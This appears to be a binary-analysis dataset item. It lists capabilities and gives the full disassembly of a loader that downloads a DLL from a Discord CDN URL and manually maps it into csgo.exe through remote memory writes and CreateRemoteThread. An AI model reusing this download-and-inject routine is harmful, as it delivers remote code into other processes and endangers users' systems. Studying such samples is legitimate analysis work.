Function at 0x4012f0
Capabilities:
Allocate or change rwx memory
Create thread
Download url
Enumerate pe sections
Execute shellcode via indirect call
Get common file path
Inject dll
Inject pe
Inject thread
Receive data
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404b17
mov eax, dword fs:[0]
push eax
sub esp, 0x254
mov eax, dword [0x408008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xfde9
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00402120
xorps xmm0, xmm0
mov dword [ebp - 0x17c], 0
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
lea eax, [ebp - 0x114]
mov dword [ebp - 4], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x40139c
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401380
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x18c]
call fcn.00401ff0
push str.Hi__all_subscribers_who_had_subscriptions_to_fatality_will_receive_3_days_of_a_new_product_that_will_be_released_soon__fatality_cannot_be_purchased_at_the_moment_n
call fcn.00401050
xorps xmm0, xmm0
mov dword [ebp - 0x164], 0
push 0xc0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0xf
call fcn.00403d8e
mov dword [ebp - 0x174], eax
mov ecx, 0x2e
mov dword [ebp - 0x164], 0xb9
mov esi, str.https:__cdn.discordapp.com_attachments_711521776265461812_1172465305797263502_memetality.dll_ex65606a68is654df568hm0b4e575625898dc529cca15baa1d2d7174615d68965c1087146d54767d2d9b68
mov dword [ebp - 0x160], 0xbf
mov edi, eax
rep movsd dword es:[edi], dword [esi]
add esp, 8
movsb byte es:[edi], byte [esi]
mov byte [eax + 0xb9], 0
mov byte [ebp - 4], 1
mov eax, 0x7fffffff
mov ecx, dword [ebp - 0x17c]
sub eax, ecx
cmp eax, 0x14
jb 0x401f3f
cmp dword [ebp - 0x178], 0x10
lea eax, [ebp - 0x18c]
lea edx, [ecx + 0x14]
mov dword [ebp - 0x144], 0
cmovae eax, dword [ebp - 0x18c]
lea edi, [ebp - 0x154]
mov esi, 0xf
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x140], 0
xorps xmm0, xmm0
mov dword [ebp - 0x250], edx
movups xmmword [ebp - 0x154], xmm0
cmp edx, esi
jbe 0x4014fd
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x4014b1
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.00403d8e
add esp, 4
test eax, eax
je 0x401f12
mov ecx, dword [ebp - 0x17c]
lea edi, [eax + 0x23]
mov edx, dword [ebp - 0x250]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x4014f1
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x4014d2
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401f44
jmp 0x401489
test eax, eax
je 0x4014ef
push eax
call fcn.00403d8e
mov ecx, dword [ebp - 0x17c]
add esp, 4
mov edx, dword [ebp - 0x250]
mov edi, eax
jmp 0x4014f1
xor edi, edi
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x154], edi
push ecx
push eax
push edi
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x140], esi
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 0x17c]
movups xmm0, xmmword [str.sfas8221nsfmdn42.dll]
movups xmmword [ecx + edi], xmm0
mov eax, dword [0x4054ec]
mov dword [ecx + edi + 0x10], eax
mov byte [edi + ecx + 0x14], 0
push str.Preparing_module..._n
mov byte [ebp - 4], 2
call fcn.00401050
add esp, 0x10
lea ecx, [ebp - 0x154]
cmp dword [ebp - 0x140], 0x10
lea eax, [ebp - 0x174]
cmovae ecx, dword [ebp - 0x154]
cmp dword [ebp - 0x160], 0x10
push 0
cmovae eax, dword [ebp - 0x174]
push 0
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x401e19
push str.Module_ready__n
call fcn.00401050
push str.Waiting_csgo.exe..._n
call fcn.00401050
add esp, 8
call fcn.004011f0
test al, al
je 0x401596
xor edi, edi
mov dword [ebp - 0x134], 0
xorps xmm0, xmm0
mov dword [ebp - 0x260], edi
movq qword [ebp - 0x13c], xmm0
mov dword [ebp - 0x13c], edi
mov dword [ebp - 0x138], edi
mov dword [ebp - 0x134], edi
mov byte [ebp - 4], 3
lea eax, [ebp - 0x24c]
cmp dword [ebp - 0x140], 0x10
lea esi, [ebp - 0x154]
push 0xb8
cmovae esi, dword [ebp - 0x154]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
lea ecx, [ebp - 0x24c]
call fcn.00403240
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x24c]
cmp dword [ebp - 0x1f0], edi
je 0x40169e
mov eax, dword [ebp - 0x24c]
lea edx, [ebp - 0x12c]
mov byte [ebp - 0x158], 0
mov byte [ebp - 0x12c], 0
mov eax, dword [eax + 4]
and dword [ebp + eax - 0x238], 0xfffffffe
mov eax, ecx
mov dword [ebp - 0x130], eax
call fcn.004039a0
push dword [ebp - 0x158]
push edi
mov ecx, dword [eax]
push dword [ebp - 0x12c]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
mov ecx, edi
mov eax, dword [ebp - 0x130]
cmovne eax, ecx
lea ecx, [ebp - 0x13c]
push eax
push edi
lea eax, [ebp - 0x12c]
push eax
call fcn.00403650
mov edi, dword [ebp - 0x13c]
mov esi, dword [ebp - 0x138]
mov dword [ebp - 0x260], edi
cmp edi, esi
jne 0x4016b9
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 3
call fcn.004026a0
push str.Failed_open_module__n
call fcn.00401050
add esp, 4
jmp 0x401ddd
lea ecx, [ebp - 0x23c]
call fcn.004035d0
test eax, eax
jne 0x4016e1
mov eax, dword [ebp - 0x24c]
lea ecx, [ebp - 0x24c]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 3
call fcn.004026a0
xorps xmm0, xmm0
mov dword [ebp - 0x120], 0
movq qword [ebp - 0x128], xmm0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0
sub esi, edi
mov byte [ebp - 4], 5
push esi
push edi
push 0
lea ecx, [ebp - 0x128]
call fcn.004023f0
mov edi, dword [ebp - 0x128]
push 0x40
push 0x3000
mov esi, dword [edi + 0x3c]
add esi, edi
mov dword [ebp - 0x254], esi
push dword [esi + 0x50]
push 0
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push 0x1000
push edi
push eax
push dword [0x408584]
mov dword [ebp - 0x194], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [esi + 0x14]
lea edi, [esi + 0x18]
add edi, eax
mov dword [ebp - 0x250], 0
movzx eax, word [esi + 6]
mov esi, eax
test ax, ax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x11c], eax
je 0x401819
nop dword [eax]
push str..reloc
push edi
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
je 0x4017cc
mov eax, dword [edi + 0xc]
mov dword [ebp - 0x11c], eax
mov eax, dword [edi + 0x14]
add eax, dword [ebp - 0x128]
push 0
push dword [edi + 0x10]
push eax
mov eax, dword [edi + 0xc]
add eax, dword [ebp - 0x194]
push eax
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x254]
add edi, 0x28
mov ecx, dword [ebp - 0x250]
inc ecx
mov dword [ebp - 0x250], ecx
movzx eax, word [eax + 6]
mov edx, eax
cmp ecx, eax
jne 0x4017b0
mov esi, edx
mov dword [ebp - 0x118], esi
mov ecx, dword [ebp - 0x254]
xor edx, edx
mov edi, dword [ecx + 0x80]
movzx eax, word [ecx + 0x14]
add ecx, 0x18
add ecx, eax
test si, si
je 0x401861
mov eax, dword [ecx + 8]
test eax, eax
jne 0x40183f
mov eax, dword [ecx + 0x10]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x401850
add eax, esi
cmp edi, eax
jb 0x40193f
mov esi, dword [ebp - 0x118]
inc edx
movzx eax, si
add ecx, 0x28
cmp edx, eax
jne 0x401835
xor eax, eax
lea esi, [eax + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x258], eax
test eax, eax
je 0x401bf5
nop dword [eax]
mov esi, dword [ebp - 0x254]
xor edi, edi
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov edx, ecx
test eax, eax
je 0x4018d5
nop dword [eax + eax]
mov eax, dword [edx + 8]
test eax, eax
jne 0x4018aa
mov eax, dword [edx + 0x10]
mov esi, dword [edx + 0xc]
cmp dword [ebp - 0x258], esi
jb 0x4018c3
add eax, esi
cmp dword [ebp - 0x258], eax
jb 0x401951
mov esi, dword [ebp - 0x254]
inc edi
add edx, 0x28
movzx eax, word [esi + 6]
cmp edi, eax
jne 0x4018a0
xor eax, eax
mov dword [ebp - 0x250], eax
xor esi, esi
mov eax, dword [ebp - 0x118]
mov edi, dword [eax - 0xc]
test edi, edi
je 0x401985
mov edx, dword [ebp - 0x254]
movzx eax, word [edx + 6]
test eax, eax
je 0x401929
nop
mov eax, dword [ecx + 8]
test eax, eax
jne 0x40190a
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x401917
add eax, edx
cmp edi, eax
jb 0x401967
mov edx, dword [ebp - 0x254]
inc esi
add ecx, 0x28
movzx eax, word [edx + 6]
cmp esi, eax
jne 0x401900
mov esi, dword [ebp - 0x118]
xor eax, eax
mov esi, dword [esi + 4]
mov dword [ebp - 0x25c], esi
jmp 0x4019d3
mov eax, dword [ecx + 0x14]
sub eax, esi
add eax, edi
add eax, dword [ebp - 0x128]
jmp 0x401863
mov eax, dword [edx + 0x14]
sub eax, esi
add eax, dword [ebp - 0x258]
add eax, dword [ebp - 0x128]
jmp 0x4018d7
mov eax, dword [ecx + 0x14]
mov esi, dword [ebp - 0x118]
sub eax, edx
add eax, edi
add eax, dword [ebp - 0x128]
mov esi, dword [esi + 4]
mov dword [ebp - 0x25c], esi
jmp 0x4019d3
mov eax, dword [eax + 4]
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x254]
movzx edi, word [eax + 6]
test edi, edi
je 0x4019cb
nop dword [eax]
mov eax, dword [ecx + 8]
test eax, eax
jne 0x4019aa
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp dword [ebp - 0x25c], edx
jb 0x4019c3
add eax, edx
cmp dword [ebp - 0x25c], eax
jb 0x401a72
inc esi
add ecx, 0x28
cmp esi, edi
jne 0x4019a0
mov esi, dword [ebp - 0x25c]
xor eax, eax
mov dword [ebp - 0x258], eax
test eax, eax
je 0x401bc9
test esi, esi
je 0x401bc9
mov edi, dword [eax]
test edi, edi
je 0x401bd6
jns 0x401a8a
movzx eax, di
mov edi, dword [ebp - 0x250]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov dword [ebp - 0x190], eax
lea eax, [ebp - 0x190]
push 4
push eax
mov eax, dword [ebp - 0x194]
add eax, esi
push eax
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401a40
push 0x40
push 0x3000
sub ecx, edx
push ecx
push 0
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, edi
mov esi, eax
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x401a66
jmp 0x401b4d
mov eax, dword [ecx + 0x14]
mov esi, dword [ebp - 0x25c]
sub eax, edx
add eax, esi
add eax, dword [ebp - 0x128]
jmp 0x4019d3
mov ecx, dword [ebp - 0x254]
xor esi, esi
movzx eax, word [ecx + 0x14]
add eax, 0x18
add eax, ecx
movzx ecx, word [ecx + 6]
test ecx, ecx
je 0x401ad0
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x401aad
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp edi, edx
jb 0x401abe
add ecx, edx
cmp edi, ecx
jb 0x401bb7
mov edx, dword [ebp - 0x254]
inc esi
add eax, 0x28
movzx ecx, word [edx + 6]
cmp esi, ecx
jne 0x401aa3
xor eax, eax
mov edi, dword [ebp - 0x250]
add eax, 2
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x158]
push 4
push eax
mov eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x25c]
push eax
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b20
push 0x40
push 0x3000
sub ecx, edx
push ecx
push 0
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, edi
mov esi, eax
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x401b46
push 0
sub edx, eax
push edx
push edi
push esi
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x405580
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov eax, dword [ebp - 0x258]
mov esi, dword [ebp - 0x25c]
add eax, 4
add esi, 4
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x25c], esi
mov edi, dword [eax]
test edi, edi
jne 0x4019f3
jmp 0x401bd6
mov eax, dword [eax + 0x14]
sub eax, edx
add eax, edi
add eax, dword [ebp - 0x128]
jmp 0x401ad2
push str.Image_thunk_or_func_data_is_0_n
call fcn.00401050
add esp, 4
mov eax, dword [ebp - 0x118]
add eax, 0x14
mov dword [ebp - 0x118], eax
mov esi, dword [eax]
mov dword [ebp - 0x258], esi
test esi, esi
jne 0x401880
mov esi, dword [ebp - 0x254]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
movzx edi, word [esi + 6]
add ecx, eax
test edi, edi
je 0x401c3b
nop
mov eax, dword [ecx + 8]
test eax, eax
jne 0x401c1a
mov eax, dword [ecx + 0x10]
mov esi, dword [ecx + 0xc]
cmp dword [ebp - 0x11c], esi
jb 0x401c33
add eax, esi
cmp dword [ebp - 0x11c], eax
jb 0x401dbd
inc edx
add ecx, 0x28
cmp edx, edi
jne 0x401c10
xor ecx, ecx
cmp dword [ecx], 0
mov dword [ebp - 0x250], ecx
je 0x401d01
nop dword [eax]
mov edx, dword [ecx + 4]
xor edi, edi
lea eax, [edx - 8]
test eax, 0xfffffffe
jbe 0x401cf0
movzx esi, word [ecx + edi*2 + 8]
test si, si
je 0x401cdf
mov eax, esi
and eax, 0xf000
cmp eax, 0x3000
jne 0x401cdf
push 0
and esi, 0xfff
lea eax, [ebp - 0x118]
add esi, dword [ecx]
add esi, dword [ebp - 0x194]
push 4
push eax
push esi
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x194]
sub ecx, 0x10000000
push 0
add eax, ecx
mov dword [ebp - 0x118], ecx
push 4
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x11c]
push eax
push esi
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x250]
mov edx, dword [ecx + 4]
inc edi
lea eax, [edx - 8]
shr eax, 1
cmp edi, eax
jb 0x401c63
add ecx, edx
mov dword [ebp - 0x250], ecx
cmp dword [ecx], 0
jne 0x401c50
mov eax, dword [ebp - 0x254]
push 0x40
push 0x3000
push 0x1000
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x194]
push 0
push dword [0x408584]
mov dword [ebp - 0x12c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, eax
push 0
push 0x11
push 0x4055a0
push esi
push dword [0x408584]
call edi
push 0
push 4
lea eax, [ebp - 0x194]
push eax
lea eax, [esi + 5]
push eax
push dword [0x408584]
call edi
push 0
push 4
lea eax, [ebp - 0x12c]
push eax
lea eax, [esi + 0xa]
push eax
push dword [0x408584]
call edi
push 0
push 0
push 0
push esi
push 0
push 0
push dword [0x408584]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x128]
sub ecx, edx
mov eax, edx
cmp ecx, 0x1000
jb 0x401dd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401dd3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ecx, dword [ecx + 0x14]
sub ecx, esi
add ecx, dword [ebp - 0x128]
add ecx, dword [ebp - 0x11c]
jmp 0x401c3d
push ecx
push edx
call fcn.00403dbe
add esp, 8
mov edx, dword [ebp - 0x260]
test edx, edx
je 0x401e26
mov ecx, dword [ebp - 0x134]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x401e0d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401f12
push ecx
push edx
call fcn.00403dbe
add esp, 8
jmp 0x401e26
push str.Failed_download_module__n
call fcn.00401050
add esp, 4
push str.Loader_close_after_5_seconds__n
call fcn.00401050
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x140]
cmp ecx, 0x10
jb 0x401e78
mov edx, dword [ebp - 0x154]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401f12
push ecx
push edx
call fcn.00403dbe
add esp, 8
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0xf
mov byte [ebp - 0x154], 0
cmp ecx, 0x10
jb 0x401ec9
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401ebf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401f12
push ecx
push edx
call fcn.00403dbe
add esp, 8
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
cmp eax, 0x10
jb 0x401f22
mov edx, dword [ebp - 0x18c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x401f18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401f18
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403dbe
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403d80
mov esp, ebp
pop ebp
ret
call fcn.004011e0
call fcn.00401140
int3